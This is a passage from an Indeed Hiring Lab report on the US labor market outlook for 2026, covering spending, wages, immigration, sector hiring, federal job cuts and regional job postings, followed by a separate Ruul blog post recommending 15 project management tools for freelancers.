But while the labor market continued to weaken throughout 2025, GDP growth has been surprisingly steady, defying expectations from earlier this year. Between March and April — when proposed economic changes first began to come into clearer view, including massive new tariffs and sweeping immigration and industrial policy changes — consensus Blue Chip 2025 forecasts for real, year-end GDP growth fell from 2.0% to 1.4%. On average, the lowest 10 predictions at the time called for annual GDP growth by year’s end of just 0.6%. But in the months that followed, many of the largest announced and proposed changes from the new administration were challenged, reduced, or even eliminated, and GDP remained more resilient than expected. In November, the same forecasts called for year-end GDP growth of 1.9% on average, with the bottom 10 forecasters expecting annual growth to end 2025 at 1.7%, both well above their April expectations. Continued strength in consumer spending, which makes up roughly 68% of GDP, is a big reason for the sustained strength in GDP growth this year. Yet a growing, and disproportionate, share of consumer spending is coming from top income earners. A recent study from the Bank of America Institute indicated that spending by high-income earners grew 2.6% year-over-year in September. Over the same period, spending by middle- and low-income earners grew just 1.6% and 0.6%, respectively. The gap between spending levels of households of different income levels grew noticeably in 2025 and is much wider than has been observed in the post-COVID era.  For many families, wage and income growth play a significant role in their ability to increase spending. Wage growth as measured by the Indeed Wage Tracker, which tracks changes in advertised salaries in job postings, also slowed in 2025, to 2.5% year-over-year by September, down from 3.4% at the start of the year. This slowdown has been fairly widespread, with similar annual growth in advertised wages observed for high-, medium-, and low-paying roles. Annual wage growth of 2.5% is not wildly out of line with historic norms, so this broad slowdown is not overly concerning in a vacuum. The challenge today is that the annual pace of inflation is now running hotter than wage growth, which has serious implications for consumers’ purchasing power, especially for lower-income workers with less of a savings buffer. Line graph titled “Inflation is once again growing faster than posted wages” shows year-over-year growth in the Consumer Price Index (Inflation) and the Indeed Wage Tracker, illustrating that inflation has recently overtaken posted wage growth. With overall layoffs and the unemployment rate both still relatively low, this underlying weakness in consumption has not yet become a drag on GDP growth. But a deteriorating labor market in line with our adverse scenario may yet apply some pressure. If more people lose their jobs, or if it takes people significantly longer to find a job, consumption — and GDP with it — may take a hit. Looking ahead at 2026: Sustaining the currently decent level of GDP growth in 2026 may very well depend on the ability of high-income households to continue to spend at elevated levels. It is possible, but less likely, that lower and middle-income households are able to increase their consumption more than expected. Growth in asset values, in everything from stocks to gold to cryptocurrency, will help determine how much spending can grow — especially in an environment where inflation remains elevated and the labor market remains soft. Global talent in flux: What 2025’s immigration shifts could mean for hiring in 2026 This year has brought major shifts in immigration policy and enforcement. While several measures have already disrupted foreign talent flows, we have yet to see the full impact of recently announced policies, many of which have the potential to influence labor market conditions and recruitment strategies.  Over the past year, there has been a rise in detentions and deportations of unauthorized migrants, and several programs that offered temporary work authorizations for migrants from specific countries were terminated . More than a million people lost their legal status this year, and a large proportion also had their work permits revoked. While many of these individuals have not been deported, their ability to work legally in the US has been impacted significantly, and a fear of further enforcement may also be influencing these workers’ employment choices. Asylum restrictions and more stringent border control measures also served to drive down the number of migrants entering the country. Taken together, these developments will all have a direct impact on sectors that have traditionally been heavily reliant on migrant labor, including agriculture, construction, cleaning, and sanitation. While greater immigration enforcement may have most notably impacted hourly workers, new policies will also affect professional workers. In September, the administration announced a one-time, $100,000 fee for new H-1B visa beneficiaries, the most common visa pathway for high-skilled immigrants and international students, especially in STEM fields. While the exact policy details remain uncertain, the changes are likely to significantly disrupt the pool of highly trained professional talent in fields including tech, engineering, and medicine. The full extent of the impact will not be observed until March 2026, when the FY2026 application period ends.  There has also been a drastic drop in the number of international students enrolled in US colleges and universities. A disproportionate number of international students come to the US to attain advanced degrees in STEM fields and subsequently join the workforce after their graduation. The recent decline in international enrollment signals another potential future shortfall in highly skilled talent for key industries. Indeed data reflects some of the impacts of these changes to immigration policy. The share of job postings that explicitly offer visa sponsorship remains elevated at almost three times the pre-pandemic share, with most of them coming from medical fields. This highlights both the ongoing labor shortages in the sector and the recognition and willingness of employers to turn to migrants to help fill them.  Line chart titled “Jobs in the US offering visa or green card sponsorships spiked after mid-2021 and has remained elevated since” represents the monthly average of daily share of US job postings offering visa or green card sponsorships by month, indexed to the pre-pandemic baseline of February 2020. After trending downwards until mid-2021, the share spiked, reaching a peak in October 2024 and remaining elevated ever since. But even as employers extend a welcome, foreign job seekers’ interest in jobs in the United States has dropped, reaching an almost five-year low of 1.45% in June 2025. While the share has rebounded slightly since then, it remains well below the recent peak of 2.38% in August 2023. Line graph titled “Foreign job seeker interest in US jobs started declining in mid-2023 but has been rising since May 2025” shows the share of total clicks on US job postings from job seekers abroad (by month), trending downward from mid-2023 before slightly rebounding in mid-2025 and reaching 1.6% by August 2025. This puts US employers in an interesting situation. Despite increasingly restrictive immigration policies proposed by the administration, US employers are still willing to sponsor visas to fill critical shortages. However, the uncertainty and fear around immigration enforcement are likely dampening foreign job seekers’ interest in US-based jobs. Going into 2026, the interplay between employer demands for global talent and tighter legal pathways for immigrants will shape the US hiring landscape, especially in fields with heavy percentages of foreign workers. Looking ahead at 2026: If immigration policy continues on its current path, we can expect labor supply to remain tight in a variety of fields, including construction, hospitality, engineering, and medicine. In the short term, a smaller migrant workforce could push the unemployment rate down, even as employers continue to have serious issues filling open roles. In the longer run, the trend could hamper employers’ ability to maintain desired production and output levels. Loosening even some immigration restrictions could contribute to employers feeling more confident in their ability to hire and expand, potentially pushing job openings up in line with the more upside economic scenario outlined above. But further restrictions may lead to further contractions in overall job openings, more in line with the downside case. Non-healthcare sectors are sick. What happens if the illness spreads? Job growth in 2025 has been heavily concentrated in healthcare — a sector largely insulated from broader economic cycles and clearly impacted by well-documented demographic shifts. As of August, healthcare accounted for just 11.4% of total US nonfarm employment, but represented 47.5% of all job growth recorded so far in 2025. As a result, discussions of the labor market must increasingly separate healthcare employment from the rest of the economy.  While headline job postings were 1.7% above pre-pandemic levels at the end of October, healthcare postings ended the month 22.6% above pre-pandemic levels. The healthcare, tech, and retail & hospitality sectors all experienced a strong post-pandemic boom in demand, but demand has since fallen off more quickly outside of healthcare. Postings in retail and hospitality are currently 7.4% below pre-pandemic levels, while tech job postings are almost a third lower than they were in early 2020. Line graph titled “Job postings look very different across sectors” shows Indeed Job Postings Index (job postings indexed to February 2020) for three sectors: healthcare, retail & hospitality, and technology. As of October 31, 2025, healthcare leads job postings at 22.6% higher than pre-pandemic levels. Still, despite its recent strength, healthcare has not been immune to the overall weakening in demand that has characterized the market over the past year. Demand has declined year-over-year in virtually every sector tracked by Indeed, with 13 sectors falling by more than 10%.  Bar chart titled “Nearly all sectors have declined year-over-year” represents the seasonally adjusted year-over-year change in job postings across sectors. All but four sectors exhibited a decline. In today’s “low-fire, low-hire” environment, those trying to enter the labor market in fields outside of healthcare (and a handful of other relatively high-demand fields, including civil engineering and construction) are bearing the heaviest burden. Young workers, in particular, are struggling — not because entry-level jobs have disappeared, but because employers are simply not expanding their workforce at the moment. While the number of junior positions has declined in absolute terms, these roles are not vanishing faster than job postings overall. In fact, in some cases, entry-level roles have remained steady — or even increased — as a share of total postings, despite the broader market slowdown. Put differently, the challenge for new graduates isn’t that junior roles are being uniquely squeezed out, but that the entire job market is contracting, leaving fewer opportunities across the board. This dynamic is reflected in the contrast between a low overall unemployment rate (but a decline in job postings) and monthly payroll employment growth. For those already employed, things may feel steady enough. But for those trying to break in — especially outside of the handful of better-performing sectors like healthcare — the landscape looks barren. The 2025 labor market is best described as frozen, with the first signs of frostbite showing through. Employers and employees alike have so far weathered the freeze by battening down the hatches, with workers reluctant to leave their current jobs and businesses content to hang on to the workers they have without embarking on either hiring or firing sprees. Looking ahead to 2026, the question won’t be whether the market thaws — it will be whether it cracks.  Looking ahead at 2026: If layoffs begin to meaningfully increase next year, the freeze could quickly turn into a storm. History tells us that when layoffs increase considerably, higher unemployment rates are quick to follow. If hiring remains strong in healthcare, and job creation continues in line with rates observed in recent years, job openings could remain relatively high and unemployment could remain low, especially if conditions improve in other sectors. In this case, we could end up in the consensus, or even upside, scenario. Recent BLS data shows healthcare employment slowing, and job postings have declined year-over-year in each of the healthcare-related sectors tracked by Indeed. Continued erosion of labor conditions in healthcare, without serious improvements in other sectors, could move us toward the downside scenario. Signs of mismatch: When available jobs don’t match available skills As job postings have decreased, and the unemployment rate has increased, there has also been a significant shift in the average number of applications started per job posting, suggesting a mismatch between labor supply and demand. Indeed data indicate that while the number of applicants per job has declined by 75% or more in some sectors, others are experiencing application growth per job of more than 50%. Bar charts titled “Professional services, healthcare, and white-collar roles see largest decreases in applicant interest, while blue collar-roles see largest increases” represent the top five sectors which had the largest percentage increase in average number of applications started per job posting, as well as those with the largest percentage decrease. Food preparation and service leads at over a 60% increase, while pharmacy roles saw a decrease of over 92%. There are still a relatively high number of job postings in medical fields that require significant education, including for veterinarians and surgeons, but applications for roles in these fields are lower than they were two years ago. This suggests that while demand for talent remains high, the supply of interested candidates is not expanding at the same pace. At the same time, the average number of applications per job has risen sharply for several blue-collar and service categories, including food prep and sanitation, a likely reflection of the ongoing realignment of the US labor market. As layoffs and uncertainty impact higher-skill occupations, many job seekers are likely to shift their focus to roles that offer steadier hiring and lower entry barriers. Quits rates for the healthcare and social assistance sector — including roles with both higher and lower applicant interest — are also slightly higher than the national average, adding to the varying retention challenges faced by different occupations within the sector. The surge in interest for sectors including food service, cleaning, driving, and personal care may indicate workers are pursuing positions that remain in demand — as indicated by higher JPIs — despite broader economic changes. One exception is in the data & analytics sector, which had the lowest sectoral JPI of all sectors tracked as of the end of October (60.4), but a rising number of applications per job. This could be driven by a mismatch between demand and supply for these roles, caused by continued growth in new analytics workers and a rise in laid-off analytics workers, both of which are expanding the pool of candidates competing for a still-limited number of jobs. Changes in the time it takes for unemployed workers in various fields to find a new role can also help illustrate some potential misalignment between available jobs and available talent. Bureau of Labor Statistics data indicate that some of the largest increases in average unemployment duration since 2023 have been in white-collar fields, particularly financial activities, information, and professional and business services. The jump was especially dramatic in the financial activities sector, where unemployed workers spent about 20 more weeks searching for a job in 2025 than they did in 2023, the largest jump of any sector. Intriguingly, the sector also saw a much lower quits rate of 1.2% in the BLS data, as opposed to the country average of 1.9% in August 2025. Evidently, workers are reluctant to quit their current roles in the sector, as finding new roles is becoming increasingly challenging.   Bar chart titled “Average weeks of unemployment in Financial Activities in August 2025 eclipsed 2023 yearly average by 20 weeks” represents the average number of weeks in unemployment by industry, based on data from the US Bureau of Labor Statistics. Financial Activities leads at almost 20 weeks more time spent in unemployment on average than 2023, while Public Administration exhibited a 3.7 week decrease on average. The fact that the sectors with the biggest increases in unemployment duration are also seeing the sharpest declines in applicants per job suggests that hiring in these fields has become significantly more selective. Even with fewer applicants competing for each open role, many job seekers are spending longer periods searching for a suitable match, possibly reflecting a growing mismatch between candidate backgrounds and employer requirements in these traditionally high-skilled sectors. It should also be noted that unemployment duration has actually fallen in three sectors over the past two years: transportation and utilities, leisure and hospitality, and public administration. This may signal better matching between workers and employers, or it may simply reflect the lower skill requirements common in these fields. Looking ahead at 2026: If job openings for highly skilled workers begin to grow meaningfully enough to bring more of these unemployed workers back into the job market more quickly, the labor market may move more in the direction of our upside scenario. But if the mismatch in skills and experience between the jobs that are available and the workers that are available to fill them persists, hiring is likely to remain stagnant and unemployment duration is likely to remain long, in line with the consensus or downside scenarios. Funding freeze, hiring squeeze: The federal factor in 2026 Public sector employment sharply reversed itself in 2025, shedding 24,000 jobs between January and August. This represents a major departure from the one million net new jobs added in the sector in 2023 and 2024 (mostly in local government and education roles). Local government employment has increased by 104,000 jobs this year, but it hasn’t been enough to overcome sizable losses in federal and state government jobs, which have decreased by 97,000 and 31,000, respectively.  These losses are likely to grow as more data are released post-shutdown. Tens of thousands of federal workers reportedly accepted deferred resignations early this year, with many taking effect after August and not yet fully reflected in the available official data. And while the November agreement to reopen the government reinstated federal workers furloughed during the shutdown, additional reductions in force going forward cannot be ruled out, especially with another potential funding dispute looming in early 2026.   Amidst all these layoffs and uncertainty, federal workers have responded by seeking new employment opportunities. Job applications from federal workers surged early in the year, especially from workers in agencies then under review by the Department of Government Efficiency (DOGE). The early-year surge slowed somewhat in the spring, but applications began trending upward again in early July and remain almost 150% above their year-ago level by the end of October. The shutdown had a slight impact on the job search behavior of federal workers, with applications rising 8.5% month-over-month in October 2025.  Line chart titled “Federal worker job search intensity remains elevated” represents the index of applications started by federal workers in the US from October 2024 to October 2025. The chart shows a marked increase in search activity and sustained elevated levels throughout the period. Cuts and freezes in government spending have also directly affected hiring in certain non-government sectors, especially scientific research & development jobs. Job postings in this sector have slowed more quickly than overall job opportunities in recent years, but cuts to government research spending widened the gap further beginning in early 2025. On January 1, overall postings on Indeed were about 12% above their pre-pandemic levels, while scientific research and development jobs were 11% below. By the end of October, overall postings were 1.7% above early 2020 levels, but harder-hit scientific research & development sat 29% below their pre-pandemic baseline. Line chart titled “Scientific research roles pulled back rapidly in early 2025” compares Indeed job postings for scientific research & development and total postings in the US, indexed to February 1, 2020. Research roles have fallen sharply while overall postings have remained at pre-pandemic levels. Federal funding reductions have also had a ripple effect on companies that rely heavily on government contracts. From January 1 to mid-July, hiring among the 25 employers with the most dollars received from government contracts pulled back by 23%, while the overall JPI decreased by 4.5%. Encouragingly, there have been signs of a rebound in federal contractor employment since mid-July, but there are still about 15% fewer opportunities with those companies now than there were when the year kicked off. Line chart titled “Postings for employers with large federal contracts spiked after the pandemic but have cooled dramatically since” compares overall Indeed job postings with the postings from the top 25 recipients of federal contracts, with index values normalized to February 2020. The index for top 25 recipients of federal contact is almost half of that for all jobs in the US (102 vs 55). Employment with top contracting companies and the federal government remains relatively small, accounting for less than 5% of all jobs. But the reach of these jobs extends into many corners of the economy, and the spending, research, and social programs they help support have a wide impact on broader economic health and household stability. For that reason, government employment and spending will be key to watch for the health of the labor market and economy in 2026 and beyond.  Looking ahead at 2026: Federal worker layoffs and funding cuts have yet to meaningfully move the unemployment rate or GDP, but the recent weakening of the labor market and rising “low-hire” environment suggest that pressures are growing. Additional cuts to federal employment or funding going forward may lead to hiring challenges and could lead to higher unemployment and/or lower GDP, moving us closer to the downside scenario. Location, location, location: The regional divide comes into focus Ultimately, when we look at the economy as a whole, macroeconomic conditions at the end of 2026 will most likely end up somewhere between our upside and downside scenarios. But how the labor market feels to job seekers and employers is highly dependent on their sector and where their feet are planted. There is considerable variation in job posting levels across the country, with some states sitting well below their pre-COVID norms and others still showing elevated demand. As of the end of October, for example, JPI in Washington, D.C., was 65.0 (35 percent below pre-COVID levels, lowest among all states and territories), while job postings in Alaska were 51.1% above February 2020 levels. Depending on where you live, an upside scenario may feel like a downside scenario, and vice versa. It is important to acknowledge the role migration plays in some of these local differences and dynamics. Many of the states with high JPI levels have also experienced relatively robust population growth, driven by cross-state migration, suggesting that increased consumer demand also drives employer demand. But in many states over the past five years, growth in job postings has exceeded population growth. In South Carolina, for example, job postings are 28.9 percent higher than in February 2020, while the state’s population is estimated to have grown only around 7 percent over the same time period. And in many of the states where the level of job postings relative to pre-pandemic norms is lower than the national average, postings are falling faster than changes in population. For example, in California, job postings are down around 17% compared to pre-COVID, while population growth estimates for the same period hover close to 0%. Clearly, job seekers will experience the labor market differently depending on each state’s underlying conditions. Variations in job postings are even more pronounced at the Metropolitan Statistical Area (MSA) level, where many of the strongest job markets are in the Sunbelt and Mountain West regions. Choropleth map titled “Smaller MSAs experience more resilient labor demand” represents the Indeed job postings index by Metropolitan Statistical Area (MSA) across the United States as of October 31, 2025. Darker regions indicate a higher index compared to pre-pandemic levels. Interestingly, in nearly every state, the highest posting levels are found not in the largest MSAs, but in smaller and mid-size ones, where labor demand has proved more resilient. Take Georgia, for example. As of October 31, the JPI in Atlanta was 110, while the JPI in the smaller MSAs of Valdosta, Warner Robins, Macon, and Hinesville all exceeded 130. The same is true in Texas. JPI in Dallas and Houston stood at 105 and 111, respectively, at the end of October, while JPI in smaller MSAs, including Longview, Tyler, and San Angelo, was uniformly higher. Overall, as of October 31, the average JPI in the nation’s largest MSAs (population estimates above one million) was 98.6. In contrast, mid-size MSAs (250,000 to 999,999 residents) averaged 112.0, and small MSAs (under 250,000 residents) averaged 115.5. Much of this is driven by sector diversification. Employment in many of the largest MSAs tends to be skewed towards tech, business, and professional services, which are seeing lower levels of job postings. Smaller MSAs, however, tend to have heavier employment shares in sectors, including manufacturing, leisure and hospitality, and healthcare, which generally have job postings that remain near or higher than pre-COVID norms. As we move into 2026, much of the experience of both job seekers and companies looking to hire will depend on location. In smaller MSAs, labor supply will likely be tighter, and it may remain difficult to find workers with the skills employers are seeking. For job seekers in these locations and with the right skills, there may continue to be ample opportunities. But 2026 could remain an employers’ market in the largest MSAs. Job seekers, especially in non-healthcare-related fields, may have a more difficult time finding new employment opportunities. Conclusion: Why 2026 will be different, but not unrecognizable The labor market in 2026 is likely to feel different, but not unrecognizable. Across our consensus, upside and downside scenarios, unemployment, job openings, and GDP growth all remain within sight of where they are today — not too hot, not too cold, simply stable. The most probable outcome is not a dramatic break from current conditions, but an extension of today’s “low-hire, low-fire” environment in which both employers and job seekers face a slower, more selective market. The range of plausible outcomes is real, but so is the message from the data: big swings are unlikely. But small changes in the aggregate can often feel like big changes around the margins. Demand has cooled from a year ago in nearly every professional sector, but the pullback has been uneven. Opportunities remain relatively plentiful in fields including civil engineering and healthcare, and in many small and mid-size MSAs, particularly in the Sunbelt and Mountain West. But job seekers in media, scientific R&D, and other harder-hit professional fields, and those in large coastal MSAs with slower population growth and more exposure to tech and professional services, are likely to face tougher conditions. In 2026, where you live and what you do will matter for your professional prospects at least as much as movements in top-line national trends. The broader macroeconomic backdrop will also be defined by cross-currents. Consumer spending has so far kept GDP growth on solid ground, but it has increasingly been powered by higher-income households. Wage growth has cooled and inflation has eroded purchasing power for many lower- and middle-income workers. The full details and impacts of new tariff policies, immigration restrictions, and changes to federal spending are likely to remain uncertain for some time, and that uncertainty itself sits in the background of all our scenarios. Each of these forces has the potential to nudge the economy and labor market toward the upper or lower end of our forecast ranges, or, in the case of a particularly severe shock or beneficial breakthrough, beyond them. For employers, this environment underscores the importance of being both disciplined and opportunistic. In tighter local or occupational labor markets, maintaining a competitive edge on pay, flexibility, and career development will remain critical to attracting and retaining talent. In areas or sectors where more candidates are chasing fewer jobs, employers may find an opportunity to raise the bar on hiring, invest in training, and rethink role design to better match evolving skills and business needs. For job seekers, a slower but still growing economy means that patience and persistence will be essential, as will a willingness to adjust search strategies — including where they look, which roles they consider, and which skills they choose to build. This is a moment when timely, granular data matters more than ever. Official statistics will continue to provide an essential snapshot of where the economy is and has been. But in an era of heightened uncertainty and occasional data gaps, near real-time labor market information can help fill in the picture of where conditions may be headed. Indeed’s Job Postings Index, wage data, and local labor market indicators can give employers, job seekers, and policymakers a clearer view through the fog. We will continue to monitor these trends, refine our scenarios, and share new insights as the year unfolds. Methodology   Our forecast scenarios were determined based on key assumptions about the relationship between a handful of economic variables:  Forecasted GDP growth relative to potential GDP growth Sensitivity of the unemployment rate to GDP growth (Okun’s Law coefficient) Sensitivity of job openings to the unemployment rate (the slope of the Beveridge Curve) The numbers included in our downside scenario can provide a good example. Real year-over-year GDP growth of 0.9% in 2026 would represent a 1.1 percentage point (ppt) shortfall compared to the Congressional Budget Office’s latest estimates of potential GDP growth (2%). Based on estimates of an Okun’s Law of 0.45 — every 1 ppt shortfall in GDP growth compared to trend is associated with a 0.45 ppt increase in the unemployment rate — this slower pace of GDP growth translates to a 0.50 ppt rise in the estimated unemployment rate, from 4.3% at the end of 2025 to 4.8% by the end of 2026.   That projected change in unemployment is then applied to the Beveridge Curve. Based on the estimated, longer-term -0.52 slope of the Beveridge Curve from 2010-2019 (excluding periods when unemployment exceeded 6%), the job openings rate declines 0.52 ppt for every 1 ppt increase in the unemployment rate. Therefore, the 0.50 ppt rise in the unemployment rate translates to a 0.26 ppt decline in the job opening rate. We estimate the job openings rate and job openings level to stand at 4.3% and 7.2 million, respectively, by year-end 2025. This means a 0.26 ppt drop would leave the job openings rate at 4%, and job openings at 6.8 million at the end of 2026.  The number of job postings on Indeed.com, whether related to paid or unpaid job solicitations, is not indicative of the potential revenue or earnings of Indeed, which comprises a significant percentage of the HR Technology segment of its parent company, Recruit Holdings Co., Ltd. Job posting numbers are provided for information purposes only and should not be viewed as an indicator of the performance of Indeed or Recruit. Please refer to the Recruit Holdings investor relations website and regulatory filings in Japan for more detailed information on revenue generation by Recruit’s HR Technology segment. Subscribe to Indeed Hiring Lab The latest insights on hiring and the economy, delivered straight to your inbox Email * : This is a carousel with 3 slides. Use arrow keys to navigate. AI at Work Report 2025: How GenAI is Rewiring the DNA of Jobs Tech Slowdown Hasn’t Deterred Internationally Mobile Workers The Long and Short of Job Tenure: Where Workers Put Down Roots or Move On Currently viewing slide 1 of 3. We're here to help Visit our help center for answers to common questions or contact us directly. Help Center Contact Support Resources Find Jobs Employers / Post Job Indeed Press Room Lead with Indeed Indeed.com Hiring Lab About ©2026 Indeed · 200 West 6th Street, Floor 36, Austin, TX 78701	2026-01-13T08:47:55
https://ruul.io/blog/project-management-tools-for-freelancers	The Best Project Management Tools to Simplify Freelance Work Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work The Ultimate 15 Project Management Tools for Freelancers Freelancers must be exceptional managers. Here are 15 project management tools that can help you become one. Umut Güncan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points A freelancer who chooses to track and do business manually sets themselves up for failure. Some issues could arise without the help of the best project management tools . Examples of these are missed deadlines, which eventually lead to client loss. A project management tool is the solution to such issues because it simplifies: Task, time, and client management. Project planning and execution. Communication and collaboration. These are just some of the main functions of the best tools for project management. This piece will explore their importance and the criteria for choosing one. We’ll also name the top 10 project management tools and and extra five for good measure! Importance of Project Management for Freelancers Freelancer project management is a one-person show. You independently oversee the finances, logistics, task timeline, and resource allocation. One area slacks if you fail at choosing the right project management tool . Still, why should you have one? What is its essence? These are some of the importance of project management tools: Boosting Productivity : Streamlining tasks, collaboration, communication, and organization boosts your productivity. Billions of freelancers globally appreciate this. Improving Communication: The centralized communication hub that project management tools offer can significantly improve communication. The freelancing industry is highly customer-centric, meaning exchanges are typical. Using the best project management tools improves clarity in communication. Improving Project Planning and Execution : Task management apps allow you to see what is required at every stage and outline the timeline. This translates to better task execution at every phase. Ensuring Job Quality Consistency: These apps could grade the project completion and performance markers by percentage. This job tracking capability helps you customize and offer always-improving service. Building Stronger Client Connections : Clients will be happy if your freelance business delivers high-quality work on time. This will grow your clientele, enabling you to scale up your offerings with time. Criteria for Selecting Project Management Tools When choosing the right project management tool for freelancers, your approach matters. Thus, in this section, we’ll frame the criteria in question form. The answer will help you select the best. The questions to ask are: What are My Needs For The Project Management Tool? Some freelancers do just fine without one. But is that the same case as you? You may need one to help you better communicate or collaborate with others. Or you might need one for finance or time tracking. Whatever the case, select the one that best resonates with your needs. How Easy is Using This Project Management Tool? The internet is a treasure trove of the best tools for project management in varying complexities. Some are intuitive, with easy-to-navigate tools, while others require some training. If you have time, exploring the sophisticated ones can be rewarding, especially if they are project-specific. However, use the most popular and easy-to-use project management tools if you need a simple general one. What Features am I Mostly in Need of? The answer will narrow down the features you need. If your previous issue was task allocation, you need a robust task management feature. If it was time, a time tracker would be ideal. If it’s on invoicing, seek the ones that ease this. Also, the software integration capabilities and ease of onboarding should be considered. While at it, prioritize software with robust security features that safeguard business and client data. These will match your requirements with the most popular project management tools. Is This a One-Time Project or Ongoing? Some clients will only do business with you if you have specific measures in place. Typically, the most needed approaches are financial channels through which they can pay you. They may dictate a particular bank or specific payment channels like Ruul for better collaboration. Another measure is to use a project management tool. This helps both you and the client oversee the project’s progress. So, if you work with an involved client, select one with client portals. Choose freelancer project management with resources, portfolio management, or any other tools you need for your one-time or ongoing project. How Much am I Willing to Spend? If you get a tool for one event, you can find a few free best project management software. However, the prices rise based on the features, scalability, and integration capabilities. So, how much are you willing to spend? Your budget will help you find one that fits your needs while offering the best service. Top Project Management Tools This section offers all freelancers a list of the 15 best tools for project management . These tools differ in features and pricing, but you will undoubtedly find one that matches your needs. They are: Asana Asana has an intuitive interface with a versatile project management layout. It supports task, collaboration, and timeline management. The platform allows customization of project workflows. It also provides integration with over 200 apps, which is impressive. Most features are free; the advanced ones are on a fixed monthly payment. Miro Miro offers visual collaboration capabilities for project mapping, diagramming, and content. It contains real-time collaboration tools and customizable frames, shapes, and presentation modes. It also has a TalkTrack, Assist AI, graphics and document embedding capabilities. It also allows polling, screen-sharing, roadmap planning, and permissions management. This intuitive workspace boosts creativity, productivity, and collaboration. Miro integrates with Google Drive, Slack and other project management tools. The paid version is billed per user. ClickUp ClickUp’s unique features include multiple project views, such as a board, calendar, or list. It’s highly customizable for remote teams and offers time tracking and third-party integration. The downside is that you will need some time to master the outline. They offer a free and paid plan, and it will be worth it. Jira Jira has a robust, agile platform that onboards teams. It is ideal for complex projects and offers more than any free best project management software. Jira offers issue tracking, reporting, and customizable workflows. It also integrates seamlessly with other development tools. The free plan will offer all these features, but the paid version is more advanced. Trello Trello by Kanban tools is simple and intuitive. The free plan is ideal for essential one-time project management. Its paid version offers in-depth task management tools. Freelancers can create project boards, checklists, and cards. You can also easily collaborate with team members on the same interface. nTask nTask offers a treasure of project management features at affordable pricing. It covers task and risk management. You will also get a feature that tracks how well you meet your agendas. One downside is that the interface could look a bit modern. Fortunately, the monthly price starts at a very low price, so any beginner freelancer can appreciate this app. Notion Notion streamlines documentation and task management. It offers freelancers customizable templates and databases to handle all kinds of projects. You get wiki-style pages, integrations, and databases. You also get a feature for note-taking and project planning. It will take you some time to grasp all this software can do. But no one can stop you once you do. The brand offers free and paid plans. Hive Hive streamlines collaboration and meetings. This is the best freelancer project management tool for team and client communications. All this information is on a single-page dashboard, easing navigation. Hive allows Google Drive and Slack integration and simplifies discussions and decision-making. Indy If you want project management software to manage client contracts, Indy is your ally. It’s user-friendly, with to-do lists and Kanban boards for project management. It also automates time tracking with a calendar and file storage. The platform allows you to create contracts, proposals, and invoices. The in-app messaging feature streamlines communication and integrates with Google Calendar, Paypal, Gmail, and many more. The paid version is available for an affordable price per month. Zoho Projects Zoho is an all-in-one scalable tool. It supports Gantt charts, time tracking, document management, and multiple project management methodologies. However, all these might be too much for a beginner! Nonetheless, their reasonable monthly price makes it lucrative. ToDoList As the brand name suggests, this software offers simple prioritizing to-do lists and task managers. The due date add-on helps. It is best for freelancers who appreciate minimalistic designs. ToDoList also integrates with Gmail and Slack, streamlining collaboration and communication. While you work, the Pomodoro timer works in the background for increased focus. Freelancers can use the free version or subscribe to the paid version. Monday Monday's most admirable feature is its easy-to-use interface. The plans are also affordable. Monday allows customization on numerous projects and boards. Automation and visual project tracking are other unique features. Unfortunately, some add-ons might cost you extra besides the monthly payment. Wrike Wrike is an excellent time and resource manager for multiple projects. This project management software uses agile methodologies and custom workflows. It also offers real-time collaboration, workload overviews, and Gantt charts. You can also integrate it with other business tools. TickTick This project management software offers freelancers checklist and task management features. It also runs the Pomodoro timer for productivity and allows calendar and other apps integration. This allows you to focus on meeting deadlines. The free version offers basic features, and the premium plan adds to the features' capabilities. Basecamp Basecamp is another simple one-page project management tool. It’s ideal for document sharing and collaboration. It offers a centralized communication dashboard with to-do lists and file storage. If you work on many projects and need to refer, Basecamp is your go-to! The price point is, however, slightly higher and it is paid per user per month. Which Project Management Suits My Freelancer Business? The answer to the above might be less straightforward because now you have 15! The above tools help streamline all a freelancer needs to become a successful project manager . They help with workflow, task and resource allocation, time management, and client management—all their integrations reinforce these benefits. ABOUT THE AUTHOR Umut Güncan With a degree in electronic engineering, Umut has over 15 years of experience in the industry. For the past 8 years, he has been leading tech and product teams at companies including Getir, specializing in crafting standout products that give these companies an edge. More Freelance and Self-Employed Taxes in the UK (A to Z Guide) Paying taxes as a freelancer can be overwhelming, but this guide breaks down everything you need to know. Learn about self-employed status, mandatory NI, and the three different tax bands in the UK. Read more How Should a Digital Nomad Create a Professional Portfolio? Looking to create a standout portfolio? Discover tips for digital nomads to showcase skills, attract clients, and grow their freelance careers effectively. Read more Freelancers and VAT invoice: What is VAT invoice and how do you issue a VAT invoice? Don't let tax compliance become a burden as a freelancer. Discover how VAT invoices can help you simplify the process and get paid on time. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer 